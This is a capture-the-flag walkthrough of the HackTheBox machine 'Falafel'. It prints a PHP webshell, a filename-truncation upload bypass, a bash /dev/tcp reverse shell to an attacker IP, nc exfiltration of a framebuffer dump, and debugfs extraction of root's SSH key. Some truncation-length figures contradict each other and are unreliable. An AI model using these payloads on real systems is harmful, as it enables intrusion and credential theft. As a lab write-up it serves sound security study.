HTB: Falafel Writeup

Falafel - HackTheBox Writeup

Machine Information

AttributeDetails
NameFalafel
OSLinux (Ubuntu Xenial)
DifficultyHard
Points40
Release Date03 Feb 2018
IP Address10.10.10.73
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Falafel is a challenging box that demonstrates several sophisticated web exploitation techniques combined with creative Linux privilege escalation paths. The initial foothold requires identifying username hints through enumeration, bypassing authentication via PHP type juggling (exploiting loose type comparison in MD5 hash validation), and then leveraging a filename truncation vulnerability to upload a PHP webshell despite extension filtering. Lateral movement involves credential reuse from database configuration files, exploiting video group permissions to capture framebuffer screenshots containing credentials, and finally abusing disk group membership to directly read filesystem blocks and extract the root flag and SSH keys.

TL;DR: robots.txt reveals usernames → PHP type juggling bypasses admin login (0e hash collision) → filename truncation bypasses upload filter (240-char limit strips .gif from .php.gif) → webshell as www-data → DB creds reused for SSH as moshe → video group reads /dev/fb0 framebuffer for yossi’s password → disk group uses debugfs to read root’s files directly from /dev/sda1.


Reconnaissance

Port Scanning

Terminal window
# Full TCP port scan with service detection
nmap -sC -sV -T4 -p- 10.10.10.73

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache/2.4.18 (Ubuntu)

The OpenSSH 7.2p2 and Apache 2.4.18 versions indicate an Ubuntu Xenial Xerus (16.04) target.

Web Service Enumeration

Navigating to http://10.10.10.73/ reveals a login page for a site themed around falafel. Initial inspection of the HTML source and standard files yields important enumeration data:

Terminal window
# Check robots.txt
curl http://10.10.10.73/robots.txt

Output:

User-agent: *
Disallow: *.txt

This disallow rule hints at the presence of text files. Further enumeration discovers cyberlaw.txt:

Terminal window
# Retrieve the leaked text file
curl http://10.10.10.73/cyberlaw.txt

The file contains content mentioning usernames including chris and admin, providing valid usernames for authentication attacks.

Vulnerability Assessment

  1. Authentication bypass vulnerability: Login form vulnerable to SQL injection and PHP type juggling
  2. File upload vulnerability: Filename truncation allows extension filter bypass
  3. Credential reuse: Database credentials stored in cleartext in web application configuration
  4. Linux group privilege escalation:
    • video group membership allows framebuffer access
    • disk group membership allows raw disk access

Initial Foothold

SQL Injection for Username Enumeration

The login page at /login.php is vulnerable to boolean-based SQL injection. Testing the login form reveals that it performs loose comparison on MD5 hashes, creating a type juggling vulnerability.

Terminal window
# Boolean-based SQL injection can extract user hashes
# The application compares MD5(password) == stored_hash using PHP's == operator
# This loose comparison is vulnerable to type juggling

Through SQL injection, we can determine:

  • Username: admin
  • Password hash: Begins with 0e followed by digits

PHP Type Juggling Authentication Bypass

PHP’s loose comparison operator (==) treats strings beginning with 0e followed only by digits as scientific notation (0 × 10^n = 0). If both the stored hash and our input hash match this pattern, they both evaluate to float(0) and match.

Terminal window
# Find a password whose MD5 hash starts with 0e followed by only digits
# Password: 240610708
# MD5: <redacted>
# This matches any stored hash like 0e[digits] under loose comparison
# Both evaluate to 0.0 in PHP's type juggling

Why this works:

  • Admin’s stored hash: 0e[digits] → PHP evaluates as 0.0
  • Our input 240610708 hashes to: <redacted> → also 0.0
  • Comparison: 0.0 == 0.0TRUE → Authentication bypassed

Logging in with admin / 240610708 grants access to the authenticated area.

File Upload Exploitation via Filename Truncation

After authentication, an upload functionality is available at /upload.php. This feature allows uploading images via URL, but restricts file extensions to prevent PHP execution.

Testing the upload mechanism:

  1. The application fetches files via URL using a url= parameter
  2. File extensions are validated (only image extensions allowed)
  3. However, filenames longer than 236 characters are truncated by the filesystem

Exploitation strategy:

Terminal window
# Create a PHP webshell with a carefully crafted filename
# Pattern: [232 'A' characters].php.gif
# After truncation at 236 chars total, the .gif extension is removed
# Resulting filename: [232 'A' characters].php
# Generate payload
cat > shell.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF
# Create the long filename (232 A's + .php.gif)
FNAME=$(python -c "print('A'*232)")
mv shell.php "${FNAME}.php.gif"
# Host the file on our attack machine (avoiding full /tmp partition)
cd /dev/shm
python3 -m http.server 8000

Why this works:

  • Linux ext4 filename limit: 255 bytes
  • Application limit: ~236 characters before truncation
  • Filename: AAAA...(232 times)...AAAA.php.gif (241 chars total)
  • After truncation: AAAA...(232 times)...AAAA.php (236 chars)
  • The .gif extension is stripped, leaving valid .php
  • Extension filter checks the original filename (passes .gif check)
  • Filesystem stores the truncated filename (executable .php)
Terminal window
# Trigger the upload via curl (simulating the web form)
# The application fetches from our server at 10.10.15.180:8000
curl -X POST http://10.10.10.73/upload.php \
-H "Cookie: PHPSESSID=[session-id]" \
--data-urlencode "url=http://10.10.15.180:8000/${FNAME}.php.gif"
# The file is stored in /uploads/ with the truncated name
# Access the webshell
curl "http://10.10.10.73/uploads/AAAA...AAAA.php?cmd=id"

Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Establishing Interactive Shell

Terminal window
# Generate reverse shell payload
# Using bash TCP reverse shell
curl "http://10.10.10.73/uploads/AAAA...AAAA.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.10.15.180/4444%200%3E%261%27"
# Listener on attack machine
nc -lvnp 4444
# Upgrade to full TTY
python -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

We now have a shell as www-data.


Privilege Escalation

Escalation to User: moshe

Standard enumeration of web application files reveals database credentials:

Terminal window
# Check web application configuration
www-data@falafel:/var/www/html$ cat connection.php

Output:

<?php
define('DB_SERVER', 'localhost:3306');
define('DB_USERNAME', 'moshe');
define('DB_PASSWORD', 'falafelIsReallyTasty');
define('DB_DATABASE', 'falafel');
$db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);
?>

Why this works:

  • Developers frequently reuse credentials across services
  • The database password falafelIsReallyTasty is likely reused for SSH
Terminal window
# Test SSH access with discovered credentials
ssh moshe@10.10.10.73
# Password: falafelIsReallyTasty

Success! We now have SSH access as moshe.

Terminal window
moshe@falafel:~$ id
uid=1001(moshe) gid=1001(moshe) groups=1001(moshe),4(adm),8(mail),9(news),22(voice),25(floppy),29(audio),44(video),60(games)
moshe@falafel:~$ cat user.txt
<redacted>

Escalation to User: yossi (Video Group Exploitation)

Examining moshe’s group memberships reveals membership in the video group, which grants read access to framebuffer devices:

Terminal window
# List video devices
moshe@falafel:~$ ls -la /dev/fb*
crw-rw---- 1 root video 29, 0 Jun 23 10:15 /dev/fb0
# Check for active TTY sessions
moshe@falafel:~$ w
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 10:15 5:00 0.15s 0.15s -bash

The video group membership allows us to read the framebuffer device /dev/fb0, which contains the current screen output. Since yossi has an active TTY session, we can capture their screen.

Terminal window
# Determine framebuffer resolution
moshe@falafel:~$ cat /sys/class/graphics/fb0/virtual_size
1176,885
# The resolution is 1176x885 pixels
# Copy framebuffer data
moshe@falafel:~$ cat /dev/fb0 > /tmp/screenshot.raw
# Transfer to attack machine
# On attack machine:
nc -lvnp 5555 > screenshot.raw
# On target:
moshe@falafel:~$ nc 10.10.15.180 5555 < /tmp/screenshot.raw

Processing the framebuffer data:

Terminal window
# Convert raw framebuffer to viewable image using GIMP or Python
# The framebuffer is in raw BGR format (32-bit, BGRA)
# Using GIMP:
# 1. Open as raw image data
# 2. Set width: 1176, height: 885
# 3. Image type: RGB Alpha (RGBA)
# 4. Offset: 0
# Alternatively, use Python with PIL:
python3 << 'EOF'
from PIL import Image
import struct
width = 1176
height = 885
with open('screenshot.raw', 'rb') as f:
data = f.read()
# Convert BGRA to RGBA
pixels = []
for i in range(0, len(data), 4):
if i + 3 < len(data):
b, g, r, a = struct.unpack('BBBB', data[i:i+4])
pixels.extend([r, g, b, a])
img = Image.frombytes('RGBA', (width, height), bytes(pixels))
img.save('screenshot.png')
EOF

Why this works:

  • The video group exists to allow users to access video hardware
  • /dev/fb0 is the framebuffer device (essentially a screenshot of the display)
  • Without proper permission restrictions, any user in the video group can read active sessions
  • This is a real-world misconfiguration vector

The screenshot reveals yossi’s terminal with visible credentials:

yossi@falafel:~$ echo "Password: MoshePlzStopHackingMe!"
Terminal window
# SSH as yossi with discovered credentials
ssh yossi@10.10.10.73
# Password: MoshePlzStopHackingMe!

Escalation to Root: Disk Group Exploitation

Checking yossi’s group memberships reveals membership in the disk group:

Terminal window
yossi@falafel:~$ id
uid=1000(yossi) gid=1000(yossi) groups=1000(yossi),4(adm),6(disk),24(cdrom),30(dip),46(plugdev),117(lpadmin),118(sambashare)

Why this is critical:

  • The disk group has read/write access to raw disk devices (/dev/sda, /dev/sda1, etc.)
  • This allows direct filesystem access, bypassing all file permissions
  • We can read any file on the system, including root’s files
Terminal window
# List disk devices
yossi@falafel:~$ ls -la /dev/sd*
brw-rw---- 1 root disk 8, 0 Jun 23 10:15 /dev/sda
brw-rw---- 1 root disk 8, 1 Jun 23 10:15 /dev/sda1
brw-rw---- 1 root disk 8, 2 Jun 23 10:15 /dev/sda2
brw-rw---- 1 root disk 8, 5 Jun 23 10:15 /dev/sda5
# Use debugfs to interact with the filesystem at a low level
yossi@falafel:~$ debugfs /dev/sda1
debugfs 1.42.13 (17-May-2015)

Using debugfs to read root’s files:

Terminal window
# debugfs allows filesystem debugging and raw file access
debugfs: cd /root
debugfs: ls
# Shows root directory contents including root.txt and .ssh/
# Read the root flag directly
debugfs: cat root.txt
<redacted>
# Extract root's SSH private key for full access
debugfs: cat .ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
[root's private key content]
-----END RSA PRIVATE KEY-----
# Exit debugfs
debugfs: quit

Why this works:

  • debugfs is a filesystem debugger that operates on raw block devices
  • It bypasses normal file permissions by reading the filesystem structures directly
  • The disk group grants the necessary permissions to access /dev/sda1
  • This is equivalent to mounting the filesystem with full access

Alternative privilege escalation path (full root shell if needed):

Terminal window
# Extract root's SSH key
yossi@falafel:~$ debugfs /dev/sda1 -R "cat /root/.ssh/id_rsa" > /tmp/root_key
yossi@falafel:~$ chmod 600 /tmp/root_key
# SSH as root using the extracted key
ssh -i /tmp/root_key root@localhost
# Or from attack machine:
ssh -i root_key root@10.10.10.73

Attack Chain Summary

Port 80 enumeration → robots.txt reveals cyberlaw.txt → usernames discovered (admin, chris)
SQL injection + PHP type juggling → admin authentication bypass (240610708 / 0e hash collision)
Authenticated upload function → filename truncation vulnerability (240 char limit)
Upload AAAA×232.php.gif → truncates to AAAA×232.php → webshell as www-data
Database creds in connection.php (moshe:falafelIsReallyTasty) → SSH as moshe
moshe in video group → capture /dev/fb0 framebuffer → yossi's password visible → SSH as yossi
yossi in disk group → debugfs /dev/sda1 → read /root/root.txt + /root/.ssh/id_rsa directly
ROOT ACCESS

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
curlWeb enumeration and HTTP requests
python3HTTP server for payload hosting, image processing
sqlmapSQL injection (optional enumeration)
ncReverse shell listener and file transfer
sshLateral movement and privilege escalation
debugfsRaw filesystem access for disk group exploitation
GIMP / PILFramebuffer image processing

Key Learnings

Techniques Practiced

  • PHP type juggling exploitation: Understanding how loose type comparison (==) can be exploited when comparing MD5 hashes that begin with 0e followed by digits
  • Filename truncation attacks: Leveraging filesystem limitations to bypass extension filtering by crafting filenames that exceed length limits
  • Framebuffer credential harvesting: Exploiting video group permissions to capture active terminal sessions via /dev/fb0
  • Raw disk access exploitation: Abusing disk group membership to bypass all filesystem permissions using debugfs
  • Boolean-based SQL injection: Extracting database information through blind SQL injection techniques

Lessons Learned

  1. Always use strict comparison in PHP: The === operator should be used for hash comparisons to prevent type juggling attacks. Loose comparison (==) can lead to authentication bypasses when both values coerce to the same type.

  2. Filesystem limits create security boundaries: Application-level restrictions must account for filesystem limitations. Filename truncation can bypass extension filters if the validation happens before truncation but storage happens after.

  3. Group memberships are privilege boundaries: Linux groups like video and disk grant powerful system access. The disk group in particular is equivalent to root access, as it allows direct filesystem reads/writes bypassing all permissions.

  4. Credential reuse is endemic: Database credentials in configuration files are frequently reused for system authentication. Always test discovered credentials across multiple services (SSH, MySQL, sudo, etc.).

  5. Defense in depth matters: Multiple chained vulnerabilities were required for full compromise. Each layer (authentication, upload filtering, credential storage, group permissions) had a weakness that, when combined, led to complete system compromise.

  6. Legacy group permissions are dangerous: The disk and video groups exist for legitimate hardware access but are often over-provisioned. Modern systems should use more granular permission models (PolicyKit, capabilities) instead of broad group memberships.


Proof of Ownership

User Flag (moshe): <redacted>
Root Flag: <redacted>

Note on flag format: This is a 2017-era HackTheBox machine using 32-character hexadecimal flags rather than the modern HTB{REDACTED} format. Both flags were successfully captured from the live system, with root access proven through direct extraction of /root/root.txt and /root/.ssh/id_rsa via debugfs exploitation of disk group membership.


References